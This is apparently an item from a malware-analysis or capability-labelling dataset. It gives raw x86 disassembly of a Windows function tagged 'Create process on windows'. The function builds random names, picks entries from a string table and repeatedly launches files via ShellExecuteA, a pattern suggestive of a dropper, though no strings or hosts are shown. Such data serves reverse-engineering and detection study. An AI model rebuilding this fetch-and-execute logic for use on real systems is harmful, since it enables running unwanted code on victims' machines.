Function at 0x408464
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xa
push 0
push 0
dec ecx
jne 0x40846c
mov eax, 0x408404
call fcn.004045a0
xor eax, eax
push ebp
push 0x4088a0
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040268c
mov eax, 0x40a7b0
mov edx, 0x4088b4
call fcn.0040369c
mov eax, 0x40a7b4
mov edx, 0x408938
call fcn.0040369c
mov eax, 0x40a7b8
mov edx, 0x4089b0
call fcn.0040369c
mov eax, 0x40a7bc
mov edx, 0x408a20
call fcn.0040369c
mov eax, 0x40a7c0
mov edx, 0x408aa8
call fcn.0040369c
mov eax, 0x40a7c4
mov edx, 0x408b30
call fcn.0040369c
mov eax, 0x40a7c8
mov edx, 0x408b9c
call fcn.0040369c
mov eax, 0x40a7cc
mov edx, 0x408c08
call fcn.0040369c
mov eax, 0x40a7d0
mov edx, 0x408c74
call fcn.0040369c
mov eax, 0x40a7e4
mov edx, 0x408ce0
call fcn.0040369c
mov eax, 0x40a7e8
mov edx, 0x408d4c
call fcn.0040369c
mov eax, 0x40a7ec
mov edx, 0x408db8
call fcn.0040369c
mov eax, 0x40a7f0
mov edx, 0x408e24
call fcn.0040369c
mov eax, 0x40a7f4
mov edx, 0x408e90
call fcn.0040369c
mov eax, 0x40a7f8
mov edx, 0x408efc
call fcn.0040369c
mov eax, 0x40a7fc
mov edx, 0x408efc
call fcn.0040369c
mov eax, 0x40a800
mov edx, 0x408ce0
call fcn.0040369c
mov eax, 0x40a804
mov edx, 0x408d4c
call fcn.0040369c
push 1
push 0
push 0
lea ecx, [ebp - 0x14]
mov edx, 0x408f68
mov eax, 0x408fa0
call fcn.00408030
mov eax, dword [ebp - 0x14]
call fcn.00403abc
push eax
push 0x408fa4
push 0
call sub.shell32.dll_ShellExecuteA
lea ecx, [ebp - 0x18]
mov edx, 0x408fb4
mov eax, 0x408fa0
call fcn.00408030
push dword [ebp - 0x18]
mov eax, 0x13477
call fcn.00402760
lea edx, [ebp - 0x1c]
call fcn.004054ac
push dword [ebp - 0x1c]
push 0x408fc8
mov eax, 0x40a7a8
mov edx, 3
call fcn.0040397c
lea ecx, [ebp - 0x20]
mov edx, 0x408fb4
mov eax, 0x408fa0
call fcn.00408030
push dword [ebp - 0x20]
mov eax, 0x1a80
call fcn.00402760
lea edx, [ebp - 0x24]
call fcn.004054ac
push dword [ebp - 0x24]
push 0x408fd8
mov eax, 0x40a7ac
mov edx, 3
call fcn.0040397c
mov eax, 8
call fcn.00402760
mov edx, dword [eax*4 + 0x40a7b0]
lea ecx, [ebp - 0x28]
mov eax, 0x408fa0
call fcn.00408030
mov eax, dword [ebp - 0x28]
mov edx, dword [0x40a7ac]
call fcn.0040833c
test al, al
jne 0x40867c
jmp 0x4085cb
mov edx, dword [0x40a7a8]
mov eax, dword [0x40a7ac]
call fcn.0040567c
push 0
push 0
push 0
mov eax, dword [0x40a7a8]
call fcn.00403abc
push eax
push 0x408fa4
push 0
call sub.shell32.dll_ShellExecuteA
lea ecx, [ebp - 0x2c]
mov edx, 0x408fe8
mov eax, 0x408fa0
call fcn.00408030
push dword [ebp - 0x2c]
mov eax, 0x33a7
call fcn.00402760
lea edx, [ebp - 0x30]
call fcn.004054ac
push dword [ebp - 0x30]
push 0x408fc8
mov eax, 0x40a7dc
mov edx, 3
call fcn.0040397c
lea ecx, [ebp - 0x34]
mov edx, 0x408fe8
mov eax, 0x408fa0
call fcn.00408030
push dword [ebp - 0x34]
mov eax, 0x6f7d1
call fcn.00402760
lea edx, [ebp - 0x38]
call fcn.004054ac
push dword [ebp - 0x38]
push 0x408fd8
mov eax, 0x40a7e0
mov edx, 3
call fcn.0040397c
mov eax, 8
call fcn.00402760
mov edx, dword [eax*4 + 0x40a7e4]
lea ecx, [ebp - 0x3c]
mov eax, 0x408fa0
call fcn.00408030
mov eax, dword [ebp - 0x3c]
mov edx, dword [0x40a7e0]
call fcn.0040833c
test al, al
je 0x40867c
mov edx, dword [0x40a7dc]
mov eax, dword [0x40a7e0]
call fcn.0040567c
push 0
push 0
push 0
mov eax, dword [0x40a7dc]
call fcn.00403abc
push eax
push 0x408fa4
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x40a7a8]
call fcn.0040566c
test al, al
je 0x408799
call fcn.00403558
lea ecx, [ebp - 0x40]
mov edx, 0x408fb4
mov eax, 0x408fa0
call fcn.00408030
push dword [ebp - 0x40]
mov eax, 0x1c8
call fcn.00402760
lea edx, [ebp - 0x44]
call fcn.004054ac
push dword [ebp - 0x44]
push 0x408fc8
mov eax, 0x40a7a8
mov edx, 3
call fcn.0040397c
lea ecx, [ebp - 0x48]
mov edx, 0x408fb4
mov eax, 0x408fa0
call fcn.00408030
push dword [ebp - 0x48]
mov eax, 0x21e6
call fcn.00402760
lea edx, [ebp - 0x4c]
call fcn.004054ac
push dword [ebp - 0x4c]
push 0x408fd8
mov eax, 0x40a7ac
mov edx, 3
call fcn.0040397c
mov eax, 8
call fcn.00402760
mov edx, dword [eax*4 + 0x40a7b0]
lea ecx, [ebp - 0x50]
mov eax, 0x408fa0
call fcn.00408030
mov eax, dword [ebp - 0x50]
mov edx, dword [0x40a7ac]
call fcn.0040833c
mov eax, dword [0x40a7ac]
call fcn.0040566c
test al, al
je 0x408786
mov edx, dword [0x40a7a8]
mov eax, dword [0x40a7ac]
call fcn.0040567c
push 0
push 0
push 0
mov eax, dword [0x40a7a8]
call fcn.00403abc
push eax
push 0x408fa4
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00403558
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4088a7
lea eax, [ebp - 0x50]
mov edx, 0x10
call fcn.0040366c
ret